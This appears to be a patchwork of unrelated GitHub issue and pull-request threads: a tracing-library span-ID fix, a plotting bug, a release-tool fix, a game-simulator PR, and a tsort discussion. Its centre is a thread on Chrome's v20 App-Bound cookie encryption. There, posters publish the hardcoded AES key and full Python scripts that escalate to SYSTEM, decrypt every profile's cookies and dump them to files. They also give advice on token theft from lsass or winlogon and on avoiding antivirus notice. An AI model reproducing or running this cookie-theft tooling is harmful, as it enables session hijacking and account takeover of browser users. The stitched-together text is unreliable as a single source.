Fix child spans to have a null parent when callers don't send span ID

Codecov Report

Merging #108 into master will increase coverage by 0.01%.
The diff coverage is 100%.

@@             Coverage Diff              @@
##             master     #108      +/-   ##
============================================
+ Coverage     98.64%   98.65%   +0.01%
- Complexity     1122     1128       +6
============================================
  Files            62       62
  Lines          2665     2685      +20
  Branches        380      383       +3
============================================
+ Hits           2629     2649      +20
  Misses           20       20
  Partials         16       16

Impacted Files
Coverage Δ
Complexity Δ

...om/nike/wingtips/http/HttpRequestTracingUtils.java
100% <100%> (ø)
47 <4> (+2)
:arrow_up:

...s-core/src/main/java/com/nike/wingtips/Tracer.java
97.9% <100%> (+0.07%)
115 <0> (+2)
:arrow_up:

...ips-core/src/main/java/com/nike/wingtips/Span.java
100% <100%> (ø)
62 <0> (+2)
:arrow_up:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update b61bd2b...2012fda. Read the comment docs.

I think what I mean is that the code assumes that a missing span ID is a
bug. when/if you use support a propagation system where it isnt a bug (ex
span ID is optional as is the case in AWS xray), this code might need to be
revisited.
I understand what you are doing here though I might suggest making it more
interceptor in nature. for example add a component that intentionally
handles buggy clients and adds support. that way it is off the main path
for sites not optimizing for bugs.
On Tue, Oct 1, 2019, 2:32 AM Nic Munroe<EMAIL_ADDRESS>wrote:

@nicmunroe commented on this pull request.
In
wingtips-core/src/main/java/com/nike/wingtips/http/HttpRequestTracingUtils.java
https://github.com/Nike-Inc/wingtips/pull/108#discussion_r329724940:

*/

public static final String SPAN_FROM_HEADERS_WHERE_CALLER_DID_NOT_SEND_SPAN_ID_TAG_KEY =

   "span_from_headers_caller_did_not_send_span_id";

/**

* The direct children of a span from {@link #fromRequestWithHeaders(RequestWithHeaders, List)} where the caller

* did not send a span ID (see {@link #hasInvalidSpanIdBecauseCallerDidNotSendOne(Span)}) should apply a tag with

* this key and a value of "true" to indicate that the {@link Span#getParentSpanId()} is invalid and cannot

* be trusted. It's recommended that the parent span ID should be set to null in this case - this can lead to

* multiple roots in your trace tree, but is the most reasonable way to handle the situation without completely

* breaking the trace and starting a new one.

*

* <p>See {@link #hasInvalidParentIdBecauseCallerDidNotSendSpanId(Span)} for a helper that can be used to determine

* if a span falls into this category.

*/

public static final String CHILD_OF_SPAN_FROM_HEADERS_WHERE_CALLER_DID_NOT_SEND_SPAN_ID_TAG_KEY =

@adriancole https://github.com/adriancole We have clients that only
send a trace ID. This is being fixed where possible, but it's not a quick
process.
This PR attempts to improve behavior when clients do this and make the
issue easier to discover and act on, not make things worse. I'm hoping
there's just a misunderstanding here.
Current behavior:

Client sends a request with only trace ID.
Server creates a new span with:

The same trace ID.
A random parent span ID that doesn't point to anything real.

Result - the server span is an orphan, pointing to a parent that
doesn't exist and will never exist.

Behavior after this PR:

Client sends a request with only trace ID.
Server creates a new span with:

The same trace ID.
A null parent span ID.
A tag indicating that the caller only sent trace ID.

Result - the server span has a null parent span ID, which could lead
to multiple roots in the trace tree. But it also will include a tag
explaining why the parent span ID is null, so you can search/filter on this
scenario. This seems like a much better place to be than pointing to a
random parent span ID that doesn't really exist, and with no way to know
that the caller is at fault.

(Note that the span created from the fromRequestWithHeaders(...) method
is never used, except as a synthetic parent when creating the server span.
It's never completed or recorded. It's discarded as soon as the server span
is generated. I would agree it's clunky.)
also it can mask propagation that can only send a standalone traceId (ex
aws can do this)
I'm not sure what you mean here. Surely the previous behavior of the
server span pointing to a random parent that doesn't exist is worse than a
server span with a null parent, and with a tag explaining the situation?
I'm hoping you misunderstood what this PR was doing, and I'm not making
things worse. Let me know if you get a chance. Thanks!
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/Nike-Inc/wingtips/pull/108?email_source=notifications&email_token=AAAPVV6QAXOOLZZYX2LP4FTQMJA4LA5CNFSM4I3LV6YKYY3PNVWWK3TUL52HS4DFWFIHK3DMKJSXC5LFON2FEZLWNFSXPKTDN5WW2ZLOORPWSZGOCGL63JA#discussion_r329724940,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AAAPVVYH63PHHQWIETMZXBDQMJA4LANCNFSM4I3LV6YA
.

Fair points, and I agree this whole area will need to be revisited at some point. If/when support is added for tracing systems like AWS where missing span ID isn't a bug then the urgency of that refactor will be pretty high.
But for now, in most (all?) of the ecosystems where wingtips is used, a missing span ID is definitely a bug, and I think this change in behavior is warranted and will help users track down bad clients more easily. i.e. As far as the current userbase is concerned, this should be a welcome bugfix.
Thanks for taking the time to look at this and give some feedback though - it's given me some ideas for an eventual refactor that will accommodate more use cases. Right now I have to pick my battles...

sounds good, I just wanted to warn you of dragons, and I think your choice is reasonable especially considering traceId-only propagation isn't supported here at the moment anyway


precision troubles on fill plots when data has very fine grid

Reported by Ansley B Manke on 3 Oct 2005 19:29 UTC
This is some of Jean Newman's data. delta-x and delta-y are 0.000372. Towards
the right-hand side of the plot, the fill plot is shifted relative to the shade
plot. In pplus, coordinates become single-precision values.
use "/home/ja8/ansley/ans_ferret/jnewman/seaside_runup_ha.nc"
shade/x=236.05:236.08/y=45.988:45.998/pal=greyscale ha
fill/over/x=236.05:236.08/y=45.988:45.998 ha
Migrated-From: http://dunkel.pmel.noaa.gov/trac/ferret/ticket/1347

Comment by<EMAIL_ADDRESS>on 7 Oct 2005 21:32 UTC
Fixed in fer/plt/disp_set_up.F,


Chromium v20 encryption is being rolled out

This issue is sort of going to be a big deal for this repo unless somebody comes up with a way of decrypting using the "same "aplication" as google chrome or the browser your using.
https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html

The new version of Chromium has updated a new encryption algorithm, exploring new decryption methods. Prefix v20
Ref：

https://github.com/chromium/chromium/blob/main/chrome/elevation_service/elevation_service_idl.idl
https://github.com/chromium/chromium/blob/main/chrome/elevation_service/elevator.cc

Sucks cus i was working on a project for v10 for literally the last few weeks, please let me know if you find anything that comes out related to any methods of decrypting.

The new version of Chromium has updated new encryption algorithm, prefix v20, the decryption method is under research.
Ref：

https://github.com/chromium/chromium/blob/main/chrome/elevation_service/elevation_service_idl.idl
https://github.com/chromium/chromium/blob/main/chrome/elevation_service/elevator.cc

Chrome cookie encrypted_value v20 use app_bound_encrypted_key in Local State file. To decrypt this, we first need to decrypt app_bound_encrypted_key with the SYSTEM DPAPI, followed by the user DPAPI. In other brand browsers, we can directly get the 32-bytes AES key to decrypt encrypted cookies. Chrome requires some additional steps.
ref:
https://github.com/chromium/chromium/blob/35afbc6f6b81d51d697ea615364a972832dab418/chrome/elevation_service/elevator.cc#L199
For example, after the double step DPAPI decryption, the resulting value comes with Chrome path, then 1-byte flag 0x01, 12-bytes IV, 32-bytes ciphertext, 16-bytes TAG.
00000000  1f 00 00 00 02 43 3a 5c 50 72 6f 67 72 61 6d 20  |.....C:\Program |
00000010  46 69 6c 65 73 5c 47 6f 6f 67 6c 65 5c 43 68 72  |Files\Google\Chr|
00000020  6f 6d 65 3d 00 00 00 01 ca bf 17 e5 f2 f4 47 b0  |ome=....Ê¿.åòôG°|
00000030  e8 1b 64 1b f2 7c 22 49 66 e2 5f fc ed d2 e0 cf  |è.d.ò|"Ifâ_üíÒàÏ|
00000040  c0 4e 1f 21 f6 1b c2 da a2 eb 6f 53 2c 47 d3 9e  |ÀN.!ö.ÂÚ¢ëoS,GÓ.|
00000050  7b 50 e6 7f 4d 5c 34 3f e6 ee d9 43 58 91 9e d2  |{Pæ.M\4?æîÙCX..Ò|
00000060  3a d8 96 30                                      |:Ø.0|

IV: ca bf 17 e5 f2 f4 47 b0 e8 1b 64 1b
ciphertext: f2 7c 22 49 66 e2 5f fc ed d2 e0 cf c0 4e 1f 21 f6 1b c2 da a2 eb 6f 53 2c 47 d3 9e 7b 50 e6 7f
TAG: 4d 5c 34 3f e6 ee d9 43 58 91 9e d2 3a d8 96 30
We can decrypt it using AES-256-GCM, with the key hardcoded in elevation_service.exe:
01455184   B3 1C 6E 24 1A C8 46 72  8D A9 C1 FA C4 93 66 51
01455200   CF FB 94 4D 14 3A B8 16  27 6B CC 6D A0 28 47 87

This will yield the decrypted key, which works exactly as encrypted_key did.
00000000  6d 29 6e e5 7a 29 25 6e 74 5e 26 25 15 97 1e 66
00000010  c1 98 cd 32 2c a6 9f fd 57 de 15 73 8b ed cd 6c

Here is th PoC
https://gist.github.com/runassu/216159c55b5fc895f14dd5f577a72e85

https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html#:~:text=App-Bound Encryption relies on,valid when decryption is attempted.

@runassu Great work!
As you mentioned:

In other brand browsers, we can directly get the 32-bytes AES key to decrypt encrypted cookies. Chrome requires some additional steps.

This might be because other browsers haven’t updated to the latest Chromium version yet. I expect that once they do, the App-Bound encryption challenge will likely appear there as well.
I also noticed that your PoC requires administrator privileges. I’m wondering if there’s a way to retrieve the app_bound_encrypted_key without needing to elevate privileges. Have you considered any alternative methods for this?

@slimwang the first decrypt step uses SYSTEM DPAPI credential, my PoC leveraging it with Windows API. You can use other tools for this decryption, but I believe they would also require administrator privileges or you must have the keyfile and SYSTEM/SECURITY registry to access the MasterKey.

We can decrypt it using AES-256-GCM, with the key hardcoded in elevation_service.exe:

How can we get the hardcoded key from elevation_service.exe in edge/brave?

@thewh1te try opening it in ghidra, i tried an example script to decrypt v20 and it seems to work with the hardcoded string that runassu gives in his python example, "sxxuJBrIRnKNqcH6xJNmUc/7lE0UOrgWJ2vMbaAoR4c=", check it out at https://github.com/runassu/chrome_v20_decryption/blob/main/decrypt_chrome_v20_cookie.py

@thewh1te try opening it in ghidra if u need the latest value, i tried an example script to decrypt v20 and it seems to work with the hardcoded string that runassu gives in his python example, "sxxuJBrIRnKNqcH6xJNmUc/7lE0UOrgWJ2vMbaAoR4c=", check it out at https://github.com/runassu/chrome_v20_decryption/blob/main/decrypt_chrome_v20_cookie.py

It works in Chrome. but not in Edge/Brave
I tried to search the value with ghidra in the file
C:\Program Files\BraveSoftware\Brave-Browser\Application\<IP_ADDRESS>\elevation_service.exe

But it's different from Chrome I couldn't find it

@thewh1teagle either other browsers use a different hardcoded key in there elevation_service.exe or it more likely hasn't been implemented fully in other browsers, im about to check out elevation_service.exe myself

@thewh1teagle either other browsers use a different hardcoded key in there elevation_service.exe or it more likely hasn't been implemented fully in other browsers, im about to check out elevation_service.exe myself

I'm pretty sure that it's already implemented in other browsers since the encrypted key stored as b'APPB......'

@thewh1teagle nvm seems that other browsers do indeed have v20, must be a different hardcoded key, also i jsut checked under ghidra and i have no idea where exactly they store the key lol, seems runassu is one of the only ppl with proper knowledge

The new version of Chromium has updated new encryption algorithm, prefix v20, the decryption method is under research.
Here is th PoC https://github.com/runassu/chrome_v20_decryption/blob/31ff1e97a42bc548aa9894f72108b922b3cdba1f/decrypt_chrome_v20_cookie.py

wrote my own golang version for those interested (as this is a golang project), big shoutout to the original author
https://github.com/githubesson/chrome_abe_poc

does anybody know why after doing SYSTEM DPAPI and then USER DPAPI in C++ it gives a random mumbo jumbo value which doesn't even include the program files path, i keep getting "Xßëáhσòk§A╠↓^êôv'u¿φòΘ╛"µú╛âv╠a║▼┌dº≤Θ0 ╢û₧Ω▒f6ArY;╟" and i need to know why, I've been getting the same value no matter what i do for almost 3 days now, yes I'm using a service with SYSTEM privilege to do my SYSTEM DPAPI and then running as regular USER DPAPI in another program, does it have to be run by the same program? any information on this little anomaly is appreciated.

@thewh1teagle I actually went through this the other day, Edge doesn't do the last step with the hardcoded AES key from the elevation service. @runassu kind of explains what you can do for other browsers (namely Edge) when he says you get the 32 bit key during the User DPAPI decryption. Currently Edge uses v20 cookie encrypted blobs, but does things slightly different than Chrome. In essence, you can do the System DPAPI decrypt then the User DPAPI decrypt of the app bound key, then grab the last 32 bytes of that to get your AES statekey. You can then use something like SharpChrome (little bit modified so it accepts v20 cookies) to decrypt your Edge cookies, just as if they were v10 cookies. Not sure if in the future they will hardcode a key in their own elevation service as Chrome does.

@slimwang the first decrypt step uses SYSTEM DPAPI credential, my PoC leveraging it with Windows API. You can use other tools for this decryption, but I believe they would also require administrator privileges or you must have the keyfile and SYSTEM/SECURITY registry to access the MasterKey.

As far as I understand it, the Chrome elevation service now offers several more IPC interfaces that you can use to pull the fully decrypted key from a low privileged user context. I haven't tested this POC but one does exist -> https://gist.github.com/snovvcrash/caded55a318bbefcb6cc9ee30e82f824
Just two ways to achieve the same goal, the Chrome blog also mentions that unless you are running high integrity you need to make the call from Chrome itself, so not sure if you'd need to inject into a Chrome process or something like that.

does anybody know why after doing SYSTEM DPAPI and then USER DPAPI in C++ it gives a random mumbo jumbo value which doesn't even include the program files path, i keep getting "Xßëáhσòk§A╠↓^êôv'u¿φòΘ╛"µú╛âv╠a║▼┌dº≤Θ0 ╢û₧Ω▒f6ArY;╟" and i need to know why, I've been getting the same value no matter what i do for almost 3 days now, yes I'm using a service with SYSTEM privilege to do my SYSTEM DPAPI and then running as regular USER DPAPI in another program, does it have to be run by the same program? any information on this little anomaly is appreciated.

I'm not a programmer but I might be able to help if you share some code. One thing to make sure of is you are cutting off the first 4 bytes of the app_bound_encryption_key original value (@runassu does a substring on the value after finding it like [4:], which cuts off the APPB header). In terms of the SYSTEM/USER DPAPI decryption, you can do this really anyway you want as long as you are doing the decryptions in both contexts. They do not need to come from the same program.

i've uploaded a "MyService" and "MyProgram" to my v20 decryption attempt repo, just mind that it is not layed out perfectly and the MainProgram includes code that doesn't need to be included, i'm also gonan try to recrerate my program using actual elevators instead of sevrices, just didn't go well last time i attempted it

i'm also gonan try to recrerate my program using actual elevators instead of sevrices, just didn't go well last time i attempted it

look into token stealing from other processes, thats what i used in my example (using the lsass process's token). less messy than services, but i dont think itll be viable for anything else than a poc (although defender didnt go off for some reason). im sure theres a bunch of examples in cpp already, so it shouldnt be that hard (heres one https://github.com/slyd0g/PrimaryTokenTheft).

@thewh1teagle I actually went through this the other day, Edge doesn't do the last step with the hardcoded AES key from the elevation service. @runassu kind of explains what you can do for other browsers (namely Edge) when he says you get the 32 bit key during the User DPAPI decryption. Currently Edge uses v20 cookie encrypted blobs, but does things slightly different than Chrome. In essence, you can do the System DPAPI decrypt then the User DPAPI decrypt of the app bound key, then grab the last 32 bytes of that to get your AES statekey. You can then use something like SharpChrome (little bit modified so it accepts v20 cookies) to decrypt your Edge cookies, just as if they were v10 cookies. Not sure if in the future they will hardcode a key in their own elevation service as Chrome does.

I'm not sure how to construct the aes key for Edge/Brave.
I tried to take the last 32 bytes of decrypted_key (returned from system + user dpapi decryption) but it failed to decrypt
See https://github.com/runassu/chrome_v20_decryption/blob/main/decrypt_chrome_v20_cookie.py

@thewh1teagle you're on the right track. The last 32 bytes you receive is your AES key used during the function cookie decryption function. You essentially skip the first AES256 decrypt in runassu's script. Here is a sample script that takes in the cookie db path and the hex statekey as arguments, refactored from @runassu's script.
`
Example usage, python3 decrypt.py C:\Users\Admin\Desktop\Cookies.bak "01020304050607080910111213141516"
import os
import json
import sys
import binascii
from Crypto.Cipher import AES
import sqlite3
import pathlib
cookie_db_path = sys.argv[1]
decrypted_key = sys.argv[2]
decrypted_key = binascii.unhexlify(decrypted_key.replace(" ", ""))
key = decrypted_key
fetch all v20 cookies
con = sqlite3.connect(pathlib.Path(cookie_db_path).as_uri() + "?mode=ro", uri=True)
con.text_factory = bytes
cur = con.cursor()
r = cur.execute("SELECT host_key, name, encrypted_value from cookies;")
cookies = cur.fetchall()
cookies_v20 = [c for c in cookies if c[2][:3] == b"v20"]
con.close()
decrypt v20 cookie with AES256GCM
[flag|iv|ciphertext|tag] encrypted_value
[3bytes|12bytes|variable|16bytes]
def decrypt_cookie_v20(encrypted_value):
cookie_iv = encrypted_value[3:3+12]
encrypted_cookie = encrypted_value[3+12:-16]
cookie_tag = encrypted_value[-16:]
cookie_cipher = AES.new(key, AES.MODE_GCM, nonce=cookie_iv)
decrypted_cookie = cookie_cipher.decrypt_and_verify(encrypted_cookie, cookie_tag)
decrypted_cookie = decrypted_cookie[32:]
return decrypted_cookie
for c in cookies_v20:
print(c[0], c[1], decrypt_cookie_v20(c[2]))`
Let me know if that makes more sense.

i'm also gonan try to recrerate my program using actual elevators instead of sevrices, just didn't go well last time i attempted it

look into token stealing from other processes, thats what i used in my example (using the lsass process's token). less messy than services, but i dont think itll be viable for anything else than a poc (although defender didnt go off for some reason). im sure theres a bunch of examples in cpp already, so it shouldnt be that hard (heres one https://github.com/slyd0g/PrimaryTokenTheft).

Elevation via token duplication is actually not as suspicious as you might think for some reason. I wouldn't recommend using a token from LSASS (stay away from touching LSASS if possible as you need to open a handle to it), but you can use something like winlogon to elevate to SYSTEM to do the decrypt, then revert your privileges to do the next decryption.

@thewh1teagle you're on the right track. The last 32 bytes you receive is your AES key used during the function cookie decryption function. You essentially skip the first AES256 decrypt in runassu's script. Here is a sample script that takes in the cookie db path and the hex statekey as arguments, refactored from @runassu's script.

Thanks! I missed another bit there and your example help me find the issue.
It works now!
I released new version to rookie and now it supports basically every chrome based browser :)
pip install -U rookiepy

Awesome, glad you got it working.

Elevation via token duplication is actually not as suspicious as you might think for some reason. I wouldn't recommend using a token from LSASS (stay away from touching LSASS if possible as you need to open a handle to it), but you can use something like winlogon to elevate to SYSTEM to do the decrypt, then revert your privileges to do the next decryption.

i thought token duplication is one of the older tricks in the book, and yeah other than touching lsass everything else is exactly as youve described. will change the process tmrw, thanks for the tip!

Decrypt cookies for all profiles, for both new and old cookies:
#Author https://github.com/SomePersonOk

import os
import json
import sys
import binascii
import sqlite3
import base64
import ctypes
from subprocess import run, CREATE_NEW_CONSOLE, SW_HIDE
from pypsexec.client import Client
from Crypto.Cipher import AES
import pyaes

# Get the user's Chrome profile path
user_profile = os.environ['USERPROFILE']
chrome_data_path = rf"{user_profile}\AppData\Local\Google\Chrome\User Data"
local_state_path = rf"{chrome_data_path}\Local State"

# Load the local state to access encryption keys
with open(local_state_path, "r", encoding="utf-8") as f:
    local_state = json.load(f)

app_bound_encrypted_key = local_state["os_crypt"]["app_bound_encrypted_key"]
profile_list = local_state['profile']['profiles_order']
v10_encryption_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])[5:]

def decrypt_data(encrypted_data: bytes, optional_entropy: str = None) -> bytes:
    """Decrypt data using the Windows CryptUnprotectData API."""

    class DATA_BLOB(ctypes.Structure):
        _fields_ = [
            ("cbData", ctypes.c_ulong),
            ("pbData", ctypes.POINTER(ctypes.c_ubyte))
        ]

    # Prepare the data blob for input
    input_data_blob = DATA_BLOB(len(encrypted_data), ctypes.cast(encrypted_data, ctypes.POINTER(ctypes.c_ubyte)))
    output_data_blob = DATA_BLOB()
    optional_entropy_blob = None

    # Handle optional entropy if provided
    if optional_entropy is not None:
        optional_entropy = optional_entropy.encode("utf-16")
        optional_entropy_blob = DATA_BLOB(len(optional_entropy), ctypes.cast(optional_entropy, ctypes.POINTER(ctypes.c_ubyte)))

    # Call the CryptUnprotectData function
    if ctypes.windll.Crypt32.CryptUnprotectData(ctypes.byref(input_data_blob), None, ctypes.byref(optional_entropy_blob) if optional_entropy_blob else None, None, None, 0, ctypes.byref(output_data_blob)):
        data = (ctypes.c_ubyte * output_data_blob.cbData)()
        ctypes.memmove(data, output_data_blob.pbData, output_data_blob.cbData)
        ctypes.windll.Kernel32.LocalFree(output_data_blob.pbData)
        return bytes(data)

    raise ValueError("Invalid encrypted_data provided!")

def retrieve_v20_key():
    """Retrieve the decryption key for Chrome v20 cookies."""

    arguments = "-c \"" + """import win32crypt
    import binascii
    encrypted_key = win32crypt.CryptUnprotectData(binascii.a2b_base64('{}'), None, None, None, 0)
    print(binascii.b2a_base64(encrypted_key[1]).decode())
    """.replace("\n", ";") + "\""

    client = Client("localhost")
    client.connect()

    try:
        client.create_service()

        # Validate and decode the app bound encrypted key
        assert (binascii.a2b_base64(app_bound_encrypted_key)[:4] == b"APPB")
        app_bound_encrypted_key_b64 = binascii.b2a_base64(binascii.a2b_base64(app_bound_encrypted_key)[4:]).decode().strip()

        # Decrypt the key using SYSTEM DPAPI
        encrypted_key_b64, stderr, rc = client.run_executable(
            sys.executable,
            arguments=arguments.format(app_bound_encrypted_key_b64),
            use_system_account=True
        )

        # Decrypt the key using user DPAPI
        decrypted_key_b64, stderr, rc = client.run_executable(
            sys.executable,
            arguments=arguments.format(encrypted_key_b64.decode().strip()),
            use_system_account=False
        )

        # Extract the decrypted key
        decrypted_key = binascii.a2b_base64(decrypted_key_b64)[-61:]
        assert (decrypted_key[0] == 1)

        # Decrypt the key with AES256GCM
        aes_key = binascii.a2b_base64("sxxuJBrIRnKNqcH6xJNmUc/7lE0UOrgWJ2vMbaAoR4c=")

        # Extract IV, ciphertext, and tag
        iv = decrypted_key[1:1 + 12]
        ciphertext = decrypted_key[1 + 12:1 + 12 + 32]
        tag = decrypted_key[1 + 12 + 32:]

        # Decrypt the key using AES
        cipher = AES.new(aes_key, AES.MODE_GCM, nonce=iv)
        key = cipher.decrypt_and_verify(ciphertext, tag)
        return key
    finally:
        try:
            client.remove_service()
        except:
            pass
        client.disconnect()

def decrypt_cookie(cookie_value, v10_key, v20_key) -> str:
    """Decrypt a cookie value using the provided keys."""

    try:
        if cookie_value[:3] == b"v10" or cookie_value[:3] == b"v11":
            return pyaes.AESModeOfOperationGCM(v10_key, cookie_value[3:15]).decrypt(cookie_value[15:])[:-16].decode()

        elif cookie_value[:3] == b"v20":
            cookie_iv = cookie_value[3:3 + 12]
            encrypted_cookie = cookie_value[3 + 12:-16]
            cookie_tag = cookie_value[-16:]
            cookie_cipher = AES.new(v20_key, AES.MODE_GCM, nonce=cookie_iv)
            decrypted_cookie = cookie_cipher.decrypt_and_verify(encrypted_cookie, cookie_tag)
            return decrypted_cookie[32:].decode('utf-8')
    except Exception as e:
        print(e)
        return "Failed Decoding"

def get_cookies():
    """Retrieve and decrypt Chrome cookies for each profile."""

    if not profile_list:
        print("no profiles found")
        sys.exit(1)

    v10_key = decrypt_data(v10_encryption_key)
    v20_key = retrieve_v20_key()

    # Kill any running Chrome instances
    run(f"taskkill /f /im chrome.exe", shell=True, creationflags=CREATE_NEW_CONSOLE | SW_HIDE)

    for profile in profile_list:
        try:
            cookie_db_path = os.path.join(chrome_data_path, profile, 'Network', 'Cookies')
            con = sqlite3.connect(
                fr"file:{cookie_db_path}?mode=ro&immutable=1",
                uri=True,
                isolation_level=None,
                check_same_thread=False
            )
            cur = con.cursor()
            cookies_list = cur.execute("SELECT host_key, name, path, CAST(encrypted_value AS BLOB), expires_utc FROM cookies").fetchall()
            con.close()
            cookies_list_filtered = [row for row in cookies_list if row[0] != ""]

            data = "{0}\t{1}\t{2}\t{3}\t{4}\t{5}\t{6}\n"
            temp = [
                data.format(host, str(expiry != 0).upper(), pathc, str(not host.startswith('.')).upper(), expiry, name,
                            decrypt_cookie(cookiec, v10_key, v20_key))
                for host, name, pathc, cookiec, expiry in cookies_list_filtered
            ]
            with open(rf"{profile} Cookies.txt", '+w', encoding="utf-8") as cookietxt:
                cookies = "\n".join(row for row in temp)
                cookietxt.write(cookies)
        except Exception as e:
            print(e)

get_cookies()

The new version of Chromium has updated new encryption algorithm, prefix v20, the decryption method is under research.
Here is th PoC https://github.com/runassu/chrome_v20_decryption/blob/31ff1e97a42bc548aa9894f72108b922b3cdba1f/decrypt_chrome_v20_cookie.py

wrote my own golang version for those interested (as this is a golang project), big shoutout to the original author https://github.com/githubesson/chrome_abe_poc

Very interesting approach to escalate system privileges!
Do you know a simple python library for that? Seems like using winali directly will be much messy than golang's.
Also, I tried to spawn whoami.exe after calling impresonlate and it didn't showed system. Though it works with dpapi correctly

Very interesting approach to escalate system privileges!
Do you know a simple python library for that? Seems like using winali directly will be much messy than golang's.
Also, I tried to spawn whoami.exe after calling
impersonateSystem and it didn't showed system. Though it works with dpapi correctly

honestly no idea if such packages exist, what i know is that python package used in the original poc doesnt have a counterpart in golang, so ive had to use a different method (or build it myself, but im too lazy for that). good luck :)

honestly no idea if such packages exist, what i know is that python package used in the original poc doesnt have a counterpart in golang, so ive had to use a different method (or build it myself, but im too lazy for that). good luck :)

I implemented it in Python as well. See https://github.com/runassu/chrome_v20_decryption/issues/7#issuecomment-2444721010
Also I implemented it in Rust and added to latest version of rookie (Python/Javascript/Rust APIs)
Thanks for the interesting approach with token duplication

Elastic Security Labs has released an article introducing the encryption in version v20.

https://www.elastic.co/security-labs/katz-and-mouse-game

I'm faced with error "Key not valid for use in specified state." when used with chrome 131. Any idea what the reason could be.
Script is executed with elevated privileges.

Recently, this program stops working for Microsoft Edge 114.0.1823.67 on Linux. I believe this might be caused by the same decryption issue.
With release 0.4.5, I'm getting encrypted result like this:

With release 0.4.6, I'm getting the following error message, and empty result:
level=ERROR source=cookie.go:90 msg="decrypt chromium cookie error" err="AES128CBCDecrypt: pkcs5UnPadding: invalid padding size"
level=ERROR source=cookie.go:90 msg="decrypt chromium cookie error" err="AES128CBCDecrypt: pkcs5UnPadding: invalid padding size"
level=ERROR source=cookie.go:90 msg="decrypt chromium cookie error" err="AES128CBCDecrypt: pkcs5UnPadding: invalid padding size"
level=ERROR source=cookie.go:90 msg="decrypt chromium cookie error" err="AES128CBCDecrypt: pkcs5UnPadding: invalid padding size"
level=ERROR source=cookie.go:90 msg="decrypt chromium cookie error" err="AES128CBCDecrypt: pkcs5UnPadding: invalid padding size"
level=ERROR source=cookie.go:90 msg="decrypt chromium cookie error" err="AES128CBCDecrypt: pkcs5UnPadding: invalid padding size"
level=ERROR source=cookie.go:90 msg="decrypt chromium cookie error" err="AES128CBCDecrypt: pkcs5UnPadding: invalid padding size"
level=ERROR source=cookie.go:90 msg="decrypt chromium cookie error" err="AES128CBCDecrypt: pkcs5UnPadding: invalid padding size"
level=ERROR source=password.go:82 msg="decrypt chromium password error" err="AES128CBCDecrypt: pkcs5UnPadding: invalid padding size"
level=ERROR source=password.go:82 msg="decrypt chromium password error" err="AES128CBCDecrypt: pkcs5UnPadding: invalid padding size"
level=ERROR source=password.go:82 msg="decrypt chromium password error" err="AES128CBCDecrypt: pkcs5UnPadding: invalid padding size"
level=ERROR source=password.go:82 msg="decrypt chromium password error" err="AES128CBCDecrypt: pkcs5UnPadding: invalid padding size"
level=ERROR source=password.go:82 msg="decrypt chromium password error" err="AES128CBCDecrypt: pkcs5UnPadding: invalid padding size"
level=ERROR source=password.go:82 msg="decrypt chromium password error" err="AES128CBCDecrypt: pkcs5UnPadding: invalid padding size"
level=ERROR source=password.go:82 msg="decrypt chromium password error" err="AES128CBCDecrypt: pkcs5UnPadding: invalid padding size"
level=ERROR source=password.go:82 msg="decrypt chromium password error" err="AES128CBCDecrypt: pkcs5UnPadding: invalid padding size"

With latest build from main branch, I'm getting the same empty result.


fix(vcs): allow cli to be run from subdirectory

Currently, running a semantic-release command from a subdirectory of the repo (e.g. in monorepos) will fail, during the commit phase, as it will try to add the file relative to the repository root. This makes it add the file relative to the cwd.
Might be related to https://github.com/relekang/python-semantic-release/issues/66

Note: isort job is failing on files I didn't touch

Thanks :v:

I apperently forgot to release this 😅 It is out now in v4.1.2


Initial Itto Implementation

Lots of brute forcing to get the frames values needed.

is there any way to pull out the zhongli and geo traveler bug fixes from this and merge those first?

Itto review checklist

[ ] A2 (fine because no understanding of atkspd currently)
[x ] A4
[ ] C1
[ ] C2
[ ] C4
[ ] C6

worked https://gcsim.app/viewer/share/fSBTHCYz-_3gNZopzCE59


use tsort for dependency resolution

Replace the current dependency resolution code with a shorter, cleaner code using tsort.
See https://ptpb.pw/MPsK/sh from Earnestly:
#!/bin/bash
# repo-cycle-detector - attempt to detect cycles in pacman repos

set +e
repo=$1

usage() {
    if ((!$#)); then
        printf 'usage: repo-cycle-detector repo\n' >&2
        exit 1
    fi
}

constrain_to() {
    repo=$1
    awk -v repo="^$repo" '$1 ~ repo { print $2 }'
}

generate() {
    local repo=$1
    # The format is formally package:dependency0:dependency1:..:dependency(n),
    # however as expac cannot be constrained to search a specific repo I will
    # instead use a sentinel value as a means to contrain the results to that
    # value.  The sentinel in this case will be based on the value of $repo.

    # https://github.com/falconindy/expac/issues/24
    expac -S '%r %n:%E' -l ':' < <(pacman -Sql "$repo") | constrain_to "$repo"
}

parse() {
    # We assume a package name cannot contain this FS.
    awk -F : '{
        p = $1

        # If we find that a package contains no dependency, make it a
        # dependency of itself to provide tsort a complete graph.
        if($2 == "")
            $2 = $1

        for(i = 1; i <= NF; ++i)
            printf "%s %s\n", p, $NF
    }'
}

usage "$@"
generate "$repo" | parse | tsort > /dev/null

For testing:
$ tsort <<!
heredoc> a b
heredoc> a b
heredoc> c b
heredoc> d a
heredoc> !
c
d
a
b

Handling split packages isn't that trivial, but is apparently possible.

If by handling split packages you mean not including them in the tsort graph (i.e., only include pkgbase), then it depends on what you use to generate the input.
For .SRCINFO, it's fairly easy since all make/depends to build the package must be global, per PKGBUILD(5), and split packages are separated by newlines. https://github.com/AladW/aurutils/blob/master/aurqueue#L16
For RPC, it's harder since everything is thrown in a bunch and it's possible to query split packages too. See https://github.com/AladW/aurutils/issues/27

Ideally, I'd be able to use tsort for all packages (not only pkgbase) but take this additional parameter into account, since the whole dependency chain is solved through the RPC before any download. I really wouldn't like to parse .SRCINFO after download to actually compute the correct dependency chain again.
Alternatively, implement some push/pop capabilities to simplify the actual code, implement this into cower directly and drop the whole dependency code, or maybe even rewrite the whole stuff in python.

You could parse the JSON both for Name (full graph) and PkgBase (download graph) and have your cake and eat it, too.

Well, you'd still need to combine both graph in the end.
Currently, pacaur solves the "full" graph with a simple list append/list remove mechanism, get the corresponding pkgbase ordered list, then does some magic to combine both lists to ensure packages are only built once and in the right order. And I don't know how to do this last step with tsort. In fact, I'm not even sure both computed lists are that independent from each other, and using tsort here might actually break the whole stuff :/
